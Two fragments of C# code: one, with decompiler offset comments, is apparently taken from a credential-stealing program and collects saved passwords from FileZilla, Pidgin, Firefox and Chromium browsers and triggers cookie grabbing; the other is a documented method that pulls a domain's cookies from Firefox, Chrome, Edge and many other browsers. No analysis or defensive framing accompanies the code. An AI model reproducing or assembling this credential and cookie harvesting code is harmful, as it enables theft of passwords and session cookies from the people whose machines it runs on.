// Token: 0x060000B4 RID: 180 RVA: 0x00007BA4 File Offset: 0x00005DA4 private static void GetPasswords(ref List <PassData> list) { List <PassData> list2 = FileZilla.Initialise(); if (list2 != null) { list.AddRange(list2); } List <PassData> list3 = Pidgin.Initialise(); if (list3 != null) { list.AddRange(list3); } List <PassData> list4 = Mozilla.Initialise(); if (list4 != null) { list.AddRange(list4); } List <PassData> list5 = Reborn.Browsers.Chromium.Initialise(); if (list5 != null) { list.AddRange(list5); } Reborn.Cookies.Chromium.Initialise(); }
/// <summary> /// Get browser cookie string for a specific domain from the first browser it is found in, from a list of browsers. /// These include Google Chrome, Microsoft Edge, Mozilla Firefox, plus many other chromium-based browsers as of 2021. Apple Safari not supported. /// </summary> /// <param name="domain"> /// Domain/Host name to retrieve. ex: www.google.com or .google.com or google.com (leading '.' assumes all subdomains) /// </param> /// <param name="preferredBrowser"> /// Optional preferred browser to search first. Upon return, contains the name of the browser this cookie was retrived from. If the returned cookie is empty, this value is undefined.<br /> /// Possible values are:<br /> /// • Firefox or Mozilla • Chrome or Google • Edge or Microsoft • Opera • Chromium • Brave • Epic • Amigo • Vivaldi • Dragon • Torch • Comodo • Slimjet • Orbitum • Kometa • 360Browser • Maxthon3 • K-Melon • Sputnik • Nichrome • CocCoc • Uran or uCozMedia • Chromodo • Yandex or YandexBrowser /// </param> /// <returns>Browser cookie string with domain key-value pairs delimited by semi-colons or empty if not found.</returns> public static string Get(string domain, ref string preferredBrowser) { string cookie = string.Empty; bool ffFirst = (!string.IsNullOrEmpty(preferredBrowser) && (preferredBrowser.IndexOf("Mozilla", StringComparison.OrdinalIgnoreCase) != -1 || preferredBrowser.IndexOf("Firefox", StringComparison.OrdinalIgnoreCase) != -1)); if (ffFirst) { cookie = Mozilla.GetCookie(domain); if (!string.IsNullOrEmpty(cookie)) { preferredBrowser = "FireFox"; } } if (string.IsNullOrEmpty(cookie)) { cookie = Chromium.GetCookie(domain, ref preferredBrowser); } if (!ffFirst && string.IsNullOrEmpty(cookie)) { cookie = Mozilla.GetCookie(domain); if (!string.IsNullOrEmpty(cookie)) { preferredBrowser = "FireFox"; } } preferredBrowser = preferredBrowser ?? string.Empty; return(cookie); }